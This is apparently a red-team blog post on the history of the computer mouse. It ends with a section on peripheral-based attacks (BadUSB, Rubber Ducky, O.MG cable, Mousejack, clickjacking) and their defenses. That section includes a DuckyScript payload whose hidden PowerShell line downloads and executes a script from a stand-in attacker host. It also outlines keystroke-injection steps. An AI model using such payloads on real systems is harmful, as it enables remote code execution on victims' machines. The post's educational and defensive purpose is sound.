Welcome to Computer History Wednesday! Today, we’re looking at a device so ubiquitous that we often forget it was once a revolutionary piece of experimental hardware: the computer mouse. For a modern red teamer, the mouse is just a way to click through a GUI, but its history is a masterclass in human-computer interaction and, eventually, a fascinating vector for hardware-level attacks.

The computer mouse has come a long way since its invention in the 1960s. It has played a significant role in the evolution of computing technology and has undergone several major evolutions, each with its unique design, functionality, and purpose. In this article, we’ll explore the history of the computer mouse in detail, examining its impact on computing technology and the cybersecurity implications of the “trusted peripheral” paradigm.

History

Phase 1: The Dawn of the Desktop - Engelbart’s Wooden Vision (1963-1968)

The story of the mouse begins in the early 1960s at the Stanford Research Institute (SRI) in Menlo Park, California. Douglas Engelbart, a visionary computer scientist who had served as a radar technician in the Navy during World War II, was obsessed with an idea that seemed almost ludicrous at the time: he believed that computers should be more than just calculators or data processing machines - they should be tools that humans could interact with intuitively to “augment human intellect.” While most of the computing world was focused on making machines faster, Engelbart was thinking about making them more usable.

In 1962, Engelbart produced a seminal report titled “Augmenting Human Intellect: A Conceptual Framework,” which laid out his vision for using computers to enhance human problem-solving capabilities. The document was revolutionary, but it presented a fundamental challenge: the existing input devices - punched cards, teletype machines, and light pens - were ill-suited for the kind of interactive, real-time manipulation that Engelbart envisioned. He needed a new way for humans to point at things on a screen.

In November 1963, while attending a conference on computer graphics in Reno, Nevada, Engelbart began to ponder how to adapt the underlying principles of the planimeter (a mechanical device used by engineers to measure the area of arbitrary shapes) to inputting X- and Y-coordinate data. He sketched a device with two perpendicular wheels that could translate horizontal and vertical motion into electrical signals. The concept was elegant in its simplicity.

In 1964, with the help of lead engineer Bill English at SRI’s Augmentation Research Center (ARC), Engelbart brought this sketch to life. The first prototype was carved from a block of redwood by SRI’s machine shop - literally a wooden box with two metal wheels positioned perpendicularly to one another, one tracking the X-axis and one tracking the Y-axis. The cord, which connected to the computer, came out of the back of the device, resembling a tail. Engelbart later remarked that he couldn’t remember who exactly came up with the name “mouse,” but the resemblance to the small rodent was undeniable, and the name stuck immediately.

This first wooden mouse was just one part of a much larger system that Engelbart was developing, called the oNLine System (NLS). The NLS was designed to be a complete environment for collaborative work, and the mouse was the key that would unlock its potential. But in the mid-1960s, the mouse remained a research curiosity. The computing world was still dominated by batch processing, punch cards, and command-line teletypes. There was simply no software that required a pointing device. The mouse would have to wait for the rest of the world to catch up to Engelbart’s vision.

That moment came on December 9, 1968, at the Fall Joint Computer Conference in San Francisco. Engelbart and his team gave what is now known as “The Mother of All Demos” - a 90-minute live presentation that is widely considered the most important technology demonstration in history. Before an audience of about 1,000 computer professionals, Engelbart demonstrated not just the mouse, but also hypertext, object addressing, dynamic file linking, windows, word processing, and even real-time video conferencing and collaborative document editing with a colleague back at SRI (over 30 miles away via microwave link). It was like showing an iPhone to someone in 1968. The audience was stunned. For the first time, they saw that a computer could be something other than a giant, impersonal calculator - it could be a personal tool for the mind, and the humble wooden mouse was the bridge.

Phase 2: The GUI Revolution - From Xerox to Apple (1973-1984)

Despite the brilliance of the 1968 demo, the mouse did not become an overnight commercial success. The computing industry of the late 1960s and early 1970s was not ready for it. Mainframes ruled, time-sharing was the paradigm, and the concept of a “personal computer” was still years away. However, the ideas from Engelbart’s lab began to migrate. Bill English, the engineer who had built the first mouse, left SRI in 1971 and joined Xerox’s newly established Palo Alto Research Center (PARC). He brought the mouse with him.

At Xerox PARC, the mouse underwent its first major mechanical redesign. English replaced the perpendicular wheels with a single ball that could rotate freely in any direction. The ball rolled against two internal rollers, which tracked movement along the X and Y axes. This “ball mouse” design was far smoother and more intuitive than the original wheeled model, allowing for fluid, continuous movement across a surface. It would become the dominant mouse design for the next three decades.

On March 1, 1973, Xerox PARC introduced the Alto, the first computer designed from the ground up to support a graphical user interface. The Alto was a marvel of engineering: it featured a bit-mapped display (where every pixel was individually addressable), networking via Ethernet (also invented at PARC), and a three-button ball mouse. The Alto’s mouse was a rectangular box with three interconnected buttons arranged in a row. The buttons selected different commands depending on the context, and different applications could assign them different meanings - a far cry from the single-button philosophy that would later dominate the consumer market.

The Alto was never sold commercially. At a production cost of $10,000-$12,000 per unit (over $75,000 in today’s dollars), and an estimated retail price of $32,000-$40,000, it was far too expensive for the consumer market. Instead, Xerox used the Alto internally and loaned machines to universities. About 2,000 Altos were built in total. Xerox’s management, focused on their core copier business, famously failed to recognize the commercial potential of what their researchers had created. This is one of the great “what ifs” of technology history. PARC had invented the personal computer, the GUI, the mouse, Ethernet, laser printing, and WYSIWYG word processing - and Xerox let it all slip through their fingers.

In December 1979, a young entrepreneur named Steve Jobs visited Xerox PARC. Apple was considering purchasing $1 million worth of Xerox stock before Apple’s IPO, and in exchange, Jobs negotiated a tour of PARC’s facilities. What he saw changed the course of computing history. Jobs was shown the Smalltalk-76 object-oriented programming environment, Ethernet networking, and most importantly, the WYSIWYG, mouse-driven graphical user interface provided by the Alto. Jobs reportedly became so excited that he interrupted the demonstration, shouting, “Why aren’t you doing anything with this? This is the greatest thing. This is revolutionary!”

Jobs immediately redirected Apple’s development efforts. The first result was the Apple Lisa (1983), which featured a GUI, a single-button mouse, and protected memory. It was a commercial failure due to its high price ($9,995), but it proved the concept. The second, and far more successful, result was the Macintosh (1984). Apple’s key innovation was simplification. While the Xerox mouse had three buttons and the computing industry was debating whether two, three, or even more buttons were ideal, Apple settled on a single button. Steve Jobs believed that if you had to think about which button to press, the interface was already too complicated. The Mac’s one-button mouse made the GUI accessible to people who had never touched a computer before.

The Macintosh was unveiled on January 24, 1984, with the famous “1984” Super Bowl commercial directed by Ridley Scott. It was the first mass-market computer to ship with a mouse. The “point-and-click” era had officially begun. Microsoft, realizing that the tide was turning, released its own “Green-Eyed Mouse” in 1983 (a two-button design with distinctive green buttons) to support its upcoming Windows operating system. The keyboard’s total dominance of human-computer interaction was over.

Phase 3: The Mechanical Maturity - Ball Mice and Ergonomics (1985-1998)

The period from the mid-1980s through the late 1990s was the golden age of the mechanical ball mouse. As the PC market exploded, the mouse evolved from a luxury peripheral into a standard component. Every computer came with one. But this era also revealed the Achilles’ heel of the ball mouse: dirt.

The rubberized ball at the bottom of the mouse was designed to pick up traction from the desk surface, but it also inevitably picked up dust, skin oils, and other debris. This gunk would transfer to the internal rollers, causing the cursor to jump erratically or get stuck. “Cleaning your mouse balls” became a regular ritual for every computer user. You would pop open the retaining ring on the bottom, remove the ball, and use a fingernail or a cotton swab to scrape the grime off the tiny rollers. It was a small price to pay for the power of point-and-click.

This era also saw the mouse diverge along platform lines. Apple stubbornly stuck to its single-button philosophy, arguing for simplicity over power. Microsoft’s PC mice had two buttons, with the right-click becoming the standard for context menus. And in the professional Unix/workstation world (Sun Microsystems, Silicon Graphics, etc.), three-button mice were the norm, allowing for complex actions like “paste” (middle-click) in terminal emulators. This cultural divide would persist for decades.

In 1995, a small company called Mouse Systems released the ProAgio, one of the first mice to feature a scroll wheel between the buttons. The idea didn’t gain traction until Microsoft’s IntelliMouse (1996), which made the scroll wheel a must-have feature. The wheel allowed users to navigate the increasingly content-rich World Wide Web without having to click on tiny scroll bar arrows. It was the last major mechanical innovation that the world universally accepted.

The late 1990s also saw the rise of the ergonomic movement in mouse design. As computer usage skyrocketed, so did reported cases of Repetitive Strain Injuries (RSI) like Carpal Tunnel Syndrome. The traditional flat mouse forced the wrist into a pronated (palm-down) position, which strained the tendons. Companies like Logitech and Microsoft began experimenting with contoured, sculpted mice that fit the natural curve of the hand. Some radical designs, like vertical mice, rotated the entire hand 90 degrees to a “handshake” position, reducing strain on the wrist. Trackballs, which had existed since the earliest days of computing (they were actually invented before the mouse, in 1946, for radar systems), also saw a resurgence as an RSI-friendly alternative.

Phase 4: The Optical Awakening - Death of the Ball Mouse (1999-2005)

The 1990s also saw the next great technological leap: the transition from mechanical to optical tracking. The idea of an optical mouse was not new. Richard Lyon at Xerox and Steve Kirsch at Mouse Systems had developed optical mice in the early 1980s. However, these first-generation optical mice required special gridded or mirrored mousepads to work. The sensor would track the dark lines on the grid and count them as it passed. This was too expensive and cumbersome for the average user, so the ball mouse remained king for another two decades.

The breakthrough came in 1999 when Microsoft released the IntelliMouse Optical. This was the first mainstream mouse to use an image-based optical tracking system. Instead of requiring a special surface, the IntelliMouse Optical used an internal LED (Light Emitting Diode) and a tiny CMOS image sensor (essentially a very low-resolution camera, typically 18x18 or 40x40 pixels) to take thousands of photographs of the surface beneath it every second (typically 1,500 frames per second or more). A dedicated Digital Signal Processor (DSP) chip inside the mouse would then analyze these images using an algorithm called digital image correlation (or cross-correlation) to calculate how much each successive image was offset from the previous one. The difference between the images revealed the delta-X and delta-Y - that is, how far and in what direction the mouse had moved.

This process was remarkably sophisticated for such a tiny, inexpensive chip. The surface, even a seemingly smooth one like a plastic desk or a uniform mouse pad, actually has a complex microscopic texture when illuminated from a shallow angle. The LED’s light casts tiny shadows in the valleys and ridges of this texture, creating a unique “fingerprint” in each frame. The DSP compares the fingerprints between consecutive frames, finding the best match by sliding one image over the other and calculating the correlation at each position. The position with the highest correlation reveals the displacement. This entire process happens in roughly 59 microseconds per frame.

No more moving parts. No more dirt on the rollers. No more “cleaning the mouse balls.” The optical mouse was a revelation. By the early 2000s, the ball mouse had been almost entirely relegated to legacy systems and nostalgia.

Shortly after the optical revolution, laser mice arrived. Logitech pioneered the technology with the MX1000 in 2004. Laser sensors used a coherent infrared light source instead of an LED, which allowed them to illuminate the surface with much finer detail. This made laser mice capable of tracking on even more difficult surfaces, including polished wood and some types of glass. Laser mice also offered much higher CPI (Counts Per Inch, often incorrectly called DPI - Dots Per Inch) settings, meaning they could detect smaller movements. This was a significant advantage for graphic designers who needed precision, and it became essential for the rapidly growing competitive gaming scene.

Phase 5: Modern Extremes - Gaming, Wireless, and the Future (2006-Present)

Today, the mouse has diverged into several highly specialized categories. In the gaming world, we have “ultralight” mice with honeycomb shells that weigh as little as 40 grams. These devices use sensors capable of 25,000+ CPI (though the vast majority of gamers never use settings above 1,600) and boast 8,000Hz polling rates, meaning the mouse reports its position to the computer 8,000 times per second. At this rate, the delay between a physical move and an on-screen reaction is a fraction of a millisecond. Professional esports players often prefer specific sensor models, like the PixArt PMW3360 or its successors, known for their flawless tracking without acceleration or smoothing. It is a far cry from Engelbart’s wooden box.

Wireless technology has also finally overcome its historical limitations. Early wireless mice (like Logitech’s pioneering Cordless MouseMan in 1991) used infrared or low-frequency radio, which suffered from noticeable lag and frequent battery changes. These early wireless mice were largely shunned by gamers and power users. However, modern wireless protocols like Logitech’s “Lightspeed” and Razer’s “HyperSpeed” use sophisticated frequency hopping and adaptive data transmission to achieve latency lower than many wired connections. With the advent of wireless charging pads (like Logitech’s Powerplay, which uses an embedded magnet matrix to inductively charge the mouse while in use), the mouse has become a truly “set and forget” peripheral.

We are also seeing the blurring of boundaries between mice and other input devices. Apple’s Magic Mouse, introduced in 2009, has a multi-touch surface on its top shell, allowing for swipes and taps that bridge the gap between a mouse and a trackpad. Gestures like two-finger swipe for scrolling or two-finger double-tap for Mission Control bring touchpad-like functionality to a traditional mouse form factor. Meanwhile, companies like Leap Motion have attempted to remove the physical device entirely, using 3D cameras to track hand movements in the air, though the precision of the physical mouse remains unmatched for most productivity tasks.

Haptic feedback is the next frontier. Imagine a mouse that provides a slight “click” sensation when you hover over an interactive button, or a subtle vibration when you reach the edge of a window. This tactile response, already common in high-end trackpads and game controllers, is beginning to find its way into mice. The goal is to make the digital world feel as tactile as the physical one, providing sensory confirmation of actions without requiring the user to look at the screen.

Finally, we must consider the potential decline of the mouse. With the explosion of smartphones and tablets, an entire generation is growing up with touch as their primary interface. Laptops are increasingly shipping with large, sophisticated trackpads that support complex multi-finger gestures, reducing the need for an external mouse. For “consumption” tasks - browsing the web, watching videos, scrolling social media - the mouse is increasingly optional. Yet, for “creation” tasks - coding, 3D modeling, CAD design, and competitive gaming - the mouse remains not just useful, but essential. For those of us who live in the terminal and the IDE, the mouse remains our most trusted companion.

Cybersecurity: The Mouse as an Attack Vector

As a red teamer, you should never trust a peripheral. The mouse is a “Human Interface Device” (HID), and the operating system trusts HIDs implicitly. When you plug a keyboard or mouse into a computer, the OS does not ask for credentials, it does not sandbox the device, and it does not verify that the device is what it claims to be. This fundamental trust is the foundation of an entire class of physical attacks.

USB HID Trust Model: The Root of All Evil

The Universal Serial Bus (USB) Human Interface Device (HID) class is a specification that allows devices like keyboards, mice, and game controllers to communicate with a host computer using standardized protocols. When you plug in a USB device, it announces its device class to the operating system. If it announces itself as an HID (specifically, a keyboard or mouse), the OS loads the appropriate drivers and begins accepting input from it without any further verification.

This is a design feature, not a bug. The goal was to make peripherals “plug and play” - no driver CDs, no reboots, no configuration. But this convenience has a dark side: any device that claims to be a keyboard is treated as a keyboard. There is no way for the OS to verify that the device physically attached to the USB port is, in fact, a legitimate keyboard or mouse, and not a microcontroller pretending to be one.

This implicit trust is the foundation of HID injection attacks. A malicious device can enumerate as a keyboard and immediately begin “typing” commands. Since the “keystrokes” come from a trusted HID, they are processed by the OS just as if a human user had typed them. Antivirus software and application-level security controls offer no defense because the attack happens at the input layer, before any application even sees the data.

BadUSB and the USB Rubber Ducky

The term “BadUSB” refers to a class of attacks, demonstrated by researchers Karsten Nohl and Jakob Lell at Black Hat 2014, where the firmware of a USB device is modified to behave maliciously. Because most USB controller chips allow firmware to be reflashed, an attacker could take an ordinary USB thumb drive, reprogram its firmware, and turn it into a device that enumerates as a keyboard and types a malicious payload the moment it is plugged in.

Hak5’s USB Rubber Ducky is perhaps the most famous commercial implementation of this concept. It looks like a standard USB flash drive, but internally it contains a microcontroller (originally an AT90USB) programmed to emulate a USB keyboard. The Ducky uses a scripting language called DuckyScript to define the keystrokes it will type. A classic payload might type out a PowerShell one-liner to download and execute a reverse shell, all in less than a second.

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DELAY 1000
GUI r
DELAY 500
STRING powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"
ENTER

The speed is critical. A well-crafted Ducky payload can complete its execution before a human can even react to the window that pops up. The moment the OS recognizes the device, it is already typing.

O.MG Cable: The Invisible Keyboard

If the USB Rubber Ducky is a blunt instrument, the O.MG Cable is a scalpel. Developed by security researcher Mike Grover (known as MG), the O.MG cable looks exactly like an ordinary USB charging cable - because that’s what it is, with a tiny Wi-Fi enabled microcontroller hidden inside the USB connector. You can purchase an O.MG cable that is indistinguishable from an Apple Lightning cable, a USB-C cable, or any other common form factor.

When the cable is plugged in, it behaves as a normal data/charging cable. The victim might use it for weeks without noticing anything unusual. But the attacker, who can connect to the cable’s onboard Wi-Fi access point from up to 300 feet away, can trigger HID payloads on demand. The O.MG cable can emulate a keyboard, a mouse, or both, injecting keystrokes or mouse movements at the attacker’s command. “Elite” versions of the cable include hardware keyloggers that can record every keystroke typed through the cable (for keyboards with detachable cables) and exfiltrate the data over Wi-Fi or even over covert USB channels.

Originally, a cable with this capability would have cost $20,000 - the NSA’s internal catalog listed their equivalent implant, COTTONMOUTH-I, at that price. Today, an O.MG cable costs under $200 and is available to red teams worldwide.

Mousejacking: Wireless Peripheral Hijacking

In 2016, researchers at Bastille Networks discovered a class of vulnerabilities they called Mousejack. They found that many non-Bluetooth wireless mice and keyboards (those using proprietary 2.4GHz radio protocols and USB dongles) had critical security flaws.

The core problem: most wireless mice do not encrypt the data sent between the mouse and the receiver. While vendors correctly recognized that wireless keyboards needed encryption (to prevent eavesdropping on typed passwords), they assumed that mouse data (X/Y coordinates and button presses) was not sensitive enough to warrant the same protection. This was a fatal miscalculation.

Bastille’s researchers discovered that many wireless receivers would accept unencrypted packets from any source, not just the paired device. More critically, many receivers designed for mice would also accept keyboard packets, even if no keyboard was paired. An attacker could use a cheap software-defined radio (like the Crazyradio PA, costing about $15) to spoof the mouse’s radio address and inject keystroke packets directly into the receiver. The receiver would pass these keystrokes to the OS, which would process them as legitimate input.

The range of this attack was originally stated as about 100 meters, but Bastille researchers later demonstrated that the range could be extended significantly with a high-gain antenna. Affected devices included mice and keyboards from Logitech, Dell, HP, Lenovo, and other major manufacturers. Despite firmware updates being released by some vendors, many devices remain unpatched, and Bastille notes that Mousejack “is still an open vulnerability affecting devices sold today.”

The attack flow is straightforward:

  1. Attacker identifies target device’s radio address (via passive sniffing).
  2. Attacker spoofs the device address and transmits keystroke injection packets.
  3. The USB dongle receives the packets and relays them to the OS as keyboard input.
  4. The OS executes the “typed” commands.

Tools like JackIt automate the process of scanning for vulnerable devices and injecting payloads.

Clickjacking: The Browser-Side Attack

While the previous attacks target the hardware/driver layer, Clickjacking (also known as “UI Redress Attack”) targets the user’s interaction with the mouse within a web browser. The attack works by tricking a user into clicking on something they did not intend to.

An attacker creates a malicious web page that contains a transparent (or nearly invisible) <iframe> loaded with a legitimate target site - for example, a user’s authenticated email or banking page. The attacker positions this invisible iframe so that its “Delete All Emails” or “Transfer Funds” button aligns perfectly with a visible, enticing element on the attacker’s page, like a “Play Video” button. When the user clicks what they believe is the video play button, they are actually clicking the hidden, sensitive button on the embedded page.

This attack exploits the fact that the browser faithfully reports the mouse click coordinates to the document at the top of the Z-order - the invisible iframe. If the user is logged into the target site, their authenticated session cookie is sent with the request, and the action is performed.

Defenses against clickjacking include:

  • X-Frame-Options HTTP header: Instructs the browser to refuse to load the page within an iframe.
  • Content-Security-Policy: frame-ancestors 'self': The modern replacement for X-Frame-Options, allowing more granular control.
  • Framebusting scripts: JavaScript that detects if the page is being loaded in a frame and breaks out of it.

Keyloggers and Beyond

Finally, the mouse can be a vector for traditional espionage. A hardware keylogger, a small inline device placed between a keyboard cable and the computer’s USB port, can record every keystroke. While not directly a “mouse” attack, the principle is the same: implicit peripheral trust. More sophisticated implants, like those hidden inside keyboards or mice themselves, can include wireless transmitters (as seen in the O.MG cable) or even bridge air-gapped networks by modulating data on ultrasonic frequencies or blinking LEDs.

The lesson for red teamers is simple: never trust physical peripherals you did not provision yourself. And for blue teamers: monitor for new HID device connections, consider USB device whitelisting solutions (like Microsoft Defender for Endpoint’s device control), and educate users about the risks of plugging in unknown devices or cables.

Technical Tidbits

  1. Quadrature Encoding: In old ball mice, movement was tracked using two “encoder wheels” with slots cut into them. Two infrared (IR) sensors, labeled A and B, were placed 90 degrees out of phase with respect to the slots. As the wheel rotated, the sensors would trigger in a predictable sequence. By checking which sensor’s signal changed first, the microcontroller could determine the direction of rotation. This elegant use of phase difference is called quadrature encoding and is still used in many rotary encoders today.

  2. Optical Cross-Correlation in Detail: Modern optical mice don’t “see” movement in the traditional sense. The DSP chip takes 1,500+ snapshots per second and uses a mathematical algorithm called cross-correlation to find matching patterns between consecutive images. The DSP effectively “slides” the new image over the old image, calculating a correlation score at each offset. The offset with the highest score is the displacement vector (delta-X, delta-Y). Some implementations use 2D Fast Fourier Transforms (FFT) and Inverse FFTs to perform this correlation efficiently.

  3. DPI vs. CPI: While we usually say “DPI” (Dots Per Inch), the technically correct term for a mouse sensor is CPI (Counts Per Inch). It refers to how many virtual “counts” the mouse reports to the computer when moved one physical inch across the surface. A mouse with 1600 CPI moved one inch will report 1600 counts of movement.

  4. Polling Rate: This is how often the mouse reports its position to the PC via the USB bus. A standard mouse polls at 125Hz (sending a report every 8 milliseconds), while high-end gaming mice poll at 1,000Hz (every 1ms) or even 8,000Hz (every 0.125ms). Higher polling rates reduce the perceived latency between a physical movement and the cursor’s response on screen.

  5. Lift-Off Distance (LOD): This is the height at which the sensor stops tracking movement. Professional gamers prefer a very low LOD (1-2 mm) so that the cursor doesn’t move when they quickly lift the mouse to reposition it on the pad. A high LOD would cause unwanted cursor drift during this repositioning motion.

  6. Angle Snapping (Prediction): Some mouse firmware includes a feature that “smooths” cursor movement along horizontal or vertical lines, making it easier to draw straight lines in Paint. However, competitive gamers despise this feature because it modifies their raw input, making small diagonal adjustments feel unnatural. High-end gaming sensors typically allow this to be disabled.

  7. Sensor Perfect Control Speed: This refers to the maximum speed at which the sensor can accurately track the surface. If you move the mouse faster than this threshold, the sensor may lose track of the surface texture and produce incorrect or erratic movement (“spinning out”). Modern high-end sensors boast perfect control speeds of over 600 IPS (Inches Per Second).

  8. USB HID Report Descriptor: When a USB HID device enumerates, it provides the host with a “Report Descriptor.” This data structure describes, in minute detail, the format of the data the device will send - how many buttons it has, the resolution of its X/Y axes, whether it has a scroll wheel, etc. Malformed or unusual report descriptors can sometimes cause issues with operating systems or expose parsing vulnerabilities.

  9. PixArt Dominance: The vast majority of optical mouse sensors, from budget $5 mice to high-end $150 gaming peripherals, are manufactured by a single Taiwanese company: PixArt Imaging Inc. Sensor model numbers like PMW3360, PMW3389, and PAW3370 are PixArt products licensed to Logitech, Razer, SteelSeries, and most other major mouse manufacturers.

  10. The “Jitter” Problem: In extremely high-CPI settings (e.g., 16,000+), even the smallest vibrations from your hand can cause the cursor to “jitter” - tiny, unintentional movements. Most professional gamers use relatively low CPI settings (400-1600) combined with lower in-game sensitivity to maximize control and minimize jitter.

Trivia

  1. The first computer mouse was made of wood and had a single button. It was carved from redwood by the SRI machine shop in 1964.
  2. Douglas Engelbart never received any royalties for the mouse. SRI held the patent (US Patent 3,541,541, “X-Y Position Indicator for a Display System”), but it expired in 1987 - before the mouse became a standard PC peripheral.
  3. The first mouse pad was developed by Jack Kelley at Xerox PARC. The common myth that it was sandpaper is false; the original pads were likely rubber-backed fabric.
  4. Bill English, the man who built the first mouse at SRI, also built the first ball mouse at Xerox PARC after moving there in 1971.
  5. The first commercial computer to use a mouse was the Xerox Star (1981), not the Apple Macintosh. The Star was a commercial workstation that cost $16,595.
  6. Logitech was founded in Switzerland in 1981 and released its first mouse, the P4, in 1982. Today, Logitech is one of the world’s largest manufacturers of computer peripherals.
  7. The Microsoft “Green-Eyed Mouse” (1983) had two distinctive green buttons and a green cord. It was Microsoft’s first hardware product.
  8. Steve Jobs famously insisted on a single-button mouse for the Macintosh to avoid confusing novice users, a philosophy Apple maintained until the Magic Mouse’s multi-touch era.
  9. The scroll wheel was first introduced commercially on the Genius EasyScroll mouse in 1995, but it was Microsoft’s IntelliMouse (1996) that made it a mainstream must-have feature.
  10. In 1991, Logitech produced the world’s first radio-frequency (RF) wireless mouse, the Cordless MouseMan.
  11. The term “mouses” as a plural form is technically acceptable, but “mice” is the universally standard plural form in computing.
  12. The optical mouse was essentially “invented” twice: once in 1980-1981 (requiring a special gridded pad) and again in 1999 (tracking on virtually any surface).
  13. Douglas Engelbart also invented hyperlinks, shared-screen collaboration, and video conferencing during the same era as the mouse.
  14. The trackball, often seen as a mouse alternative, was actually invented before the mouse - in 1946 by Ralph Benjamin for a British naval fire-control radar plotting system. It was classified as a military secret for many years.
  15. The “Mother of All Demos” (1968) was not video recorded by Engelbart’s team; the existing recordings were made by the Stanford Research Institute and the conference organizers.

Conclusion

The computer mouse is more than just a peripheral; it’s a bridge between human intent and digital execution. From Engelbart’s wooden prototype, carved to prove that humans could interact with computers more naturally, to the high-speed laser sensors and invisible Wi-Fi implants of today, its evolution has mirrored the progress of computing itself. And as red teamers, we must respect the mouse not only as a tool for navigation but also as a silent, implicitly trusted vector for compromise. The same “plug and play” convenience that makes peripherals easy to use is the same convenience that makes HID injection attacks so devastatingly effective.

The next time you click a link or drag a window, spare a thought for the metal wheels and rubber balls that paved the way for our modern digital world. And maybe… just maybe… look a little closer at that USB cable someone left on your desk.

Happy hacking!